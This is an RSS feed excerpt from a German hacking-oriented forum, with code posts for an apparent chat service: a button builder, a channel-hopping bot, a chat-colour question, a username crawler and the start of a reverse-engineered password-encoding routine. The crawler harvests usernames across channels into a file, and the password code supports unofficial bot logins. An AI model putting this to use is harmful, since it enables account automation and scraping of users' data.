#007700">(</span><span style="color: #DD0000">"|icon|"</span><span style="color: #007700">).</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #0000BB">iconPath</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(!</span><span style="color: #0000BB">isNullOrEmpty</span><span style="color: #007700">(</span><span style="color: #0000BB">images</span><span style="color: #007700">))&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">buttonBuilder</span><span style="color: #007700">.</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #DD0000">"|images|"</span><span style="color: #007700">).</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #0000BB">images</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">width&nbsp;</span><span style="color: #007700">!=&nbsp;-</span><span style="color: #0000BB">1</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">buttonBuilder</span><span style="color: #007700">.</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #DD0000">"|width|"</span><span style="color: #007700">).</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #0000BB">width</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">height&nbsp;</span><span style="color: #007700">!=&nbsp;-</span><span style="color: #0000BB">1</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">buttonBuilder</span><span style="color: #007700">.</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #DD0000">"|height|"</span><span style="color: #007700">).</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #0000BB">height</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">textXPosition&nbsp;</span><span style="color: #007700">!=&nbsp;-</span><span style="color: #0000BB">1</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">buttonBuilder</span><span style="color: #007700">.</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #DD0000">"|tx|"</span><span style="color: #007700">).</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #0000BB">textXPosition</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">textYPosition&nbsp;</span><span style="color: #007700">!=&nbsp;-</span><span style="color: #0000BB">1</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">buttonBuilder</span><span style="color: #007700">.</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #DD0000">"|ty|"</span><span style="color: #007700">).</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #0000BB">textYPosition</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">disabledTimeout&nbsp;</span><span style="color: #007700">!=&nbsp;-</span><span style="color: #0000BB">1</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">buttonBuilder</span><span style="color: #007700">.</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #DD0000">"|disabledTimeout|"</span><span style="color: #007700">).</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #0000BB">disabledTimeout</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">cursor&nbsp;</span><span style="color: #007700">!=&nbsp;</span><span style="color: #0000BB">Cursor</span><span style="color: #007700">.</span><span style="color: #0000BB">DEFAULT_CURSOR</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">buttonBuilder</span><span style="color: #007700">.</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #DD0000">"|cursor|"</span><span style="color: #007700">).</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #0000BB">cursor</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">buttonBuilder</span><span style="color: #007700">.</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #DD0000">"&lt;°"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">buttonBuilder</span><span style="color: #007700">.</span><span style="color: #0000BB">toString</span><span style="color: #007700">();<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">boolean&nbsp;isNullOrEmpty</span><span style="color: #007700">(</span><span style="color: #0000BB">String&nbsp;str</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;(</span><span style="color: #0000BB">str&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">null&nbsp;</span><span style="color: #007700">||&nbsp;</span><span style="color: #0000BB">str</span><span style="color: #007700">.</span><span style="color: #0000BB">isEmpty</span><span style="color: #007700">());<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//Debugging&nbsp;only&nbsp;:)<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">public&nbsp;static&nbsp;</span><span style="color: #0000BB">String&nbsp;createButton</span><span style="color: #007700">(</span><span style="color: #0000BB">String&nbsp;text</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">String&nbsp;command</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">int&nbsp;width</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">int&nbsp;height</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">KButton&nbsp;button&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">KButton</span><span style="color: #007700">(</span><span style="color: #0000BB">text</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">command</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">button</span><span style="color: #007700">.</span><span style="color: #0000BB">setWidth</span><span style="color: #007700">(</span><span style="color: #0000BB">width</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">button</span><span style="color: #007700">.</span><span style="color: #0000BB">setHeight</span><span style="color: #007700">(</span><span style="color: #0000BB">height</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">button</span><span style="color: #007700">.</span><span style="color: #0000BB">toString</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />}&nbsp;<br /></span><span style="color: #0000BB"></span>
</span>
</code></code><hr />
</div>Hab Getter/Setter verwendet. <br />
Wenn ihr einen Wert wieder deaktivieren wollt einfach für int -1 einsetzen und fürn String halt null :)<br />
MfG<br />
<b><font color="Red">Danke auch an PaT, der es geschafft hat, die Debugging-Funktion zu erstellen!</font></b></div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>Mentos</dc:creator>
			<guid isPermaLink="true">sourcecode-91/java-kbutton-10240</guid>
		</item>
		<item>
			<title>Simple Channelhopping</title>
			<link>sourcecode-91/simple-channelhopping-10145?goto=newpost</link>
			<pubDate>Mon, 02 Apr 2012 21:32:20 GMT</pubDate>
			<description><![CDATA[Hallo U-Hacks*ler  ich habe neulich einen bot programmiert der in einen "zufälligen" channel wechselt. Seit nicht so hart mit mir bin neu in Visual...]]></description>
			<content:encoded><![CDATA[<div>Hallo U-Hacks*ler  ich habe neulich einen bot programmiert der in einen &quot;zufälligen&quot; channel wechselt. Seit nicht so hart mit mir bin neu in Visual Basic.<br />
<br />
Source:<br />
<a href="http://pastebin.com/xSLWr9UN" target="_blank" rel="nofollow">[VB.NET] Simpel Channelhopping - Pastebin.com</a></div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>Sploxfreak</dc:creator>
			<guid isPermaLink="true">sourcecode-91/simple-channelhopping-10145</guid>
		</item>
		<item>
			<title><![CDATA[[VB] - Chatverlauf farbig gestalten - Problem]]></title>
			<link>sourcecode-91/vb-chatverlauf-farbig-gestalten-problem-9703?goto=newpost</link>
			<pubDate>Mon, 26 Mar 2012 12:04:25 GMT</pubDate>
			<description>Hallo/Nabend, 
 
ich will in meinem Chatverlauf etwas farbig gestalten. 
Dies ist mir auch gelungen: 
 
 
PHP: 
--------- 
Private Sub...</description>
			<content:encoded><![CDATA[<div><font color="White">Hallo/Nabend,<br />
<br />
ich will in meinem Chatverlauf etwas farbig gestalten.<br />
Dies ist mir auch gelungen:</font><br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">Private&nbsp;</span><span style="color: #0000BB">Sub&nbsp;client_OnPublicMessage</span><span style="color: #007700">(</span><span style="color: #0000BB">ByVal&nbsp;sender&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">Object</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">ByVal&nbsp;Nick&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">String</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">ByVal&nbsp;Message&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">String</span><span style="color: #007700">)&nbsp;</span><span style="color: #0000BB">Handles&nbsp;client</span><span style="color: #007700">.</span><span style="color: #0000BB">OnPublicMessage<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;WriteText</span><span style="color: #007700">(</span><span style="color: #0000BB">Nick</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">.</span><span style="color: #0000BB">Blue</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Message</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">.</span><span style="color: #0000BB">Red</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">End&nbsp;Sub<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">Private&nbsp;</span><span style="color: #0000BB">Sub&nbsp;client_OnPrivateMessage</span><span style="color: #007700">(</span><span style="color: #0000BB">ByVal&nbsp;sender&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">Object</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">ByVal&nbsp;fromNick&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">String</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">ByVal&nbsp;toNick&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">String</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">ByVal&nbsp;Message&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">String</span><span style="color: #007700">)&nbsp;</span><span style="color: #0000BB">Handles&nbsp;client</span><span style="color: #007700">.</span><span style="color: #0000BB">OnPrivateMessage<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;RichTextBox1</span><span style="color: #007700">.</span><span style="color: #0000BB">AppendText</span><span style="color: #007700">(</span><span style="color: #0000BB">fromNick&nbsp;</span><span style="color: #007700">&amp;&nbsp;</span><span style="color: #DD0000">"&nbsp;(privat&nbsp;an&nbsp;"&nbsp;</span><span style="color: #007700">&amp;&nbsp;</span><span style="color: #0000BB">toNick&nbsp;</span><span style="color: #007700">&amp;&nbsp;</span><span style="color: #DD0000">"):&nbsp;"&nbsp;</span><span style="color: #007700">&amp;&nbsp;</span><span style="color: #0000BB">Message&nbsp;</span><span style="color: #007700">&amp;&nbsp;</span><span style="color: #0000BB">vbLf</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">End&nbsp;Sub<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">Private&nbsp;</span><span style="color: #0000BB">Sub&nbsp;WriteText</span><span style="color: #007700">(</span><span style="color: #0000BB">ByVal&nbsp;Absender&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">String</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">ByVal&nbsp;AbsenderFarbe&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">ByVal&nbsp;Text&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">String</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">ByVal&nbsp;TextFarbe&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">RichTextBox1</span><span style="color: #007700">.</span><span style="color: #0000BB">SelectionColor&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">AbsenderFarbe<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;RichTextBox1</span><span style="color: #007700">.</span><span style="color: #0000BB">AppendText</span><span style="color: #007700">(</span><span style="color: #0000BB">Absender&nbsp;</span><span style="color: #007700">&amp;&nbsp;</span><span style="color: #DD0000">":&nbsp;"</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">RichTextBox1</span><span style="color: #007700">.</span><span style="color: #0000BB">SelectionColor&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">TextFarbe<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;RichTextBox1</span><span style="color: #007700">.</span><span style="color: #0000BB">AppendText</span><span style="color: #007700">(</span><span style="color: #0000BB">Text&nbsp;</span><span style="color: #007700">&amp;&nbsp;</span><span style="color: #0000BB">vbLf</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">End&nbsp;Sub&nbsp;<br /></span>
</span>
</code></code><hr />
</div><font color="White">Bisher schön und gut.</font><br />
<br />
<br />
<font color="Red"><u>Aber</u></font> <font color="White">sobald ich etwas Replace:</font><br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">Private&nbsp;</span><span style="color: #0000BB">Sub&nbsp;RichTextBox1_TextChanged</span><span style="color: #007700">(</span><span style="color: #0000BB">ByVal&nbsp;sender&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">System</span><span style="color: #007700">.</span><span style="color: #0000BB">Object</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">ByVal&nbsp;e&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">System</span><span style="color: #007700">.</span><span style="color: #0000BB">EventArgs</span><span style="color: #007700">)&nbsp;</span><span style="color: #0000BB">Handles&nbsp;RichTextBox1</span><span style="color: #007700">.</span><span style="color: #0000BB">TextChanged<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;RichTextBox1</span><span style="color: #007700">.</span><span style="color: #0000BB">Text&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">RichTextBox1</span><span style="color: #007700">.</span><span style="color: #0000BB">Text</span><span style="color: #007700">.</span><span style="color: #0000BB">Replace</span><span style="color: #007700">(</span><span style="color: #DD0000">"°&gt;_h"</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">""</span><span style="color: #007700">).</span><span style="color: #0000BB">Replace</span><span style="color: #007700">(</span><span style="color: #DD0000">"°%-1°"</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">""</span><span style="color: #007700">).</span><span style="color: #0000BB">Replace</span><span style="color: #007700">(</span><span style="color: #DD0000">""""</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">""</span><span style="color: #007700">)<br /></span><span style="color: #0000BB">End&nbsp;Sub&nbsp;<br /></span>
</span>
</code></code><hr />
</div><font color="White">Wird der Nick und der Text<br />
wieder in der Farbe Schwarz (also unfarbig) angezeigt.<br />
<br />
<br />
Nun will ich aber bestimmte Teile des <u>Text</u>es <u>Replacen</u> <b>und</b><br />
den <u>Nick</u> und den <u>Text farbig</u> hinbekommen.<br />
<br />
Ich hoffe mir kann jemand helfen.</font></div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>Pyromane</dc:creator>
			<guid isPermaLink="true">sourcecode-91/vb-chatverlauf-farbig-gestalten-problem-9703</guid>
		</item>
		<item>
			<title>Nick-Crawler</title>
			<link>sourcecode-91/nick-crawler-32021?goto=newpost</link>
			<pubDate>Sun, 25 Mar 2012 00:50:48 GMT</pubDate>
			<description><![CDATA[10 Minuten Arbeit, da habter: 
 
Code: 
--------- 
[highlight=csharp]        private void _ksc_OnTokenReceived(KSClient KSC, string token) 
        {...]]></description>
			<content:encoded><![CDATA[<div>10 Minuten Arbeit, da habter:<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">[highlight=csharp]&nbsp; &nbsp; &nbsp; &nbsp; private void _ksc_OnTokenReceived(KSClient KSC, string token)<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; string[] packets = token.Split('\0');<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (_first &amp;&amp; packets[1] == &quot;James&quot; &amp;&amp; token[0] == 'r')<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; _ksc.SendMessage(&quot;/wc&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; _first = false;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else if (token.Contains(&quot;Channels insgesamt&quot;))<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; _allChannels = token;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Thread thr = new Thread(workChannels);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; thr.Start();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else if (token.Contains(&quot;Chatter im&quot;))<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; string work = token.Substring(token.IndexOf(&quot;°&gt;_h&quot;) + 4, token.Length - (token.IndexOf(&quot;°&gt;_h&quot;) + 4));<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; work = work.Substring(0, work.LastIndexOf(&quot;|/serverpp &quot;|/w &quot;&lt;°&quot;));<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; string[] newN = work.Split(new string[] { &quot;|/serverpp &quot;|/w &quot;&lt;°, °&gt;_h&quot; }, StringSplitOptions.None);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; foreach (string s in newN)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (s != &quot;James&quot; &amp;&amp; !_usersCrawled.Contains(s))<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; _usersCrawled.Add(s.Replace(&quot;\&quot;, &quot;&quot;));&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; private void workChannels()<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; string listStr = _allChannels.Split(new string[] { &quot;##&quot; }, StringSplitOptions.RemoveEmptyEntries)[1];<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; string[] channels = listStr.Split('#');<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; foreach (string channel in channels)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; string name = channel.Split('|')[0].Replace(&quot;°&gt;_h&quot;, &quot;&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; int count = int.Parse(channel.Split('(')[1].Replace(&quot; °&gt;icon_fullChannel.gif&lt;°&quot;, &quot;&quot;).Replace(&quot;)&quot;, &quot;&quot;));<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (name != &quot;Suche&quot; &amp;&amp; name != &quot;F1 Talk&quot; &amp;&amp; !_channelsCrawled.Contains(name) &amp;&amp; count &gt; 1)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; _ksc.SendMessage(&quot;/wc &quot; + name);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; File.WriteAllText(&quot;crawled.txt&quot;, string.Join(&quot;,&quot;, _usersCrawled.ToArray()));<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Thread.Sleep(3000);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; _ksc.SendMessage(&quot;/wc&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Thread.CurrentThread.Abort();<br />
&nbsp; &nbsp; &nbsp; &nbsp; }[/highlight]</code><hr />
</div></div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>Sky.NET</dc:creator>
			<guid isPermaLink="true">sourcecode-91/nick-crawler-32021</guid>
		</item>
		<item>
			<title><![CDATA[[v9.0ake] Passwort-Kodierung]]></title>
			<link>sourcecode-91/v9-0ake-passwort-kodierung-32251?goto=newpost</link>
			<pubDate>Mon, 12 Mar 2012 16:40:16 GMT</pubDate>
			<description>Laut SeBi gehen auch Credits zu Flav. 
Weil SeBi zu faul war es zu veröffentlichen, hab ich ihn gefragt ob ich es machen soll und joa : 
 
Code:...</description>
			<content:encoded><![CDATA[<div>Laut SeBi gehen auch Credits zu Flav.<br />
Weil SeBi zu faul war es zu veröffentlichen, hab ich ihn gefragt ob ich es machen soll und joa :<br />
<div style="margin:20px; margin-top:5px">
<div class="smallfont" style="margin-bottom:2px"><b>Spoiler</b>:<input type="button" value="Show" style="width:45px;font-size:10px;margin:0px;padding:0px;" onClick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = '';        this.innerText = ''; this.value = 'Hide'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Show'; }">
</div>
<div class="alt2" style="margin: 0px; padding: 6px; border: 1px inset;">
<div style="display: none;">
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">/**<br />
&nbsp;*<br />
&nbsp;* @author SeBi<br />
&nbsp;*/<br />
public class Password {<br />
&nbsp; &nbsp; private static String encrypt1(String str, String key) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; int strLength = str.length();<br />
&nbsp; &nbsp; &nbsp; &nbsp; int keyLength = key.length();<br />
&nbsp; &nbsp; &nbsp; &nbsp; int k = keyLength ^ strLength &lt;&lt; 3;<br />
&nbsp; &nbsp; &nbsp; &nbsp; int bufferLength = keyLength &gt; strLength ? keyLength : strLength;<br />
&nbsp; &nbsp; &nbsp; &nbsp; StringBuilder buffer = new StringBuilder(bufferLength);<br />
&nbsp; &nbsp; &nbsp; &nbsp; int strChar = str.charAt(0);<br />
&nbsp; &nbsp; &nbsp; &nbsp; int keyChar = key.charAt(0);<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; for (int i = 0; i &lt; bufferLength; i++) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (strChar &gt;= keyLength) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; strChar = 0;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (keyChar &gt;= strLength) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; keyChar = 0;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; buffer.append((char) (str.charAt(keyChar) ^ key.charAt(strChar) ^ k));<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; strChar++;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; keyChar++;<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; return buffer.toString();<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; private static String encrypt2(String str, String key) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; int strLength = str.length();<br />
&nbsp; &nbsp; &nbsp; &nbsp; int keyLength = key.length();<br />
&nbsp; &nbsp; &nbsp; &nbsp; int k = strLength ^ keyLength &lt;&lt; 4;<br />
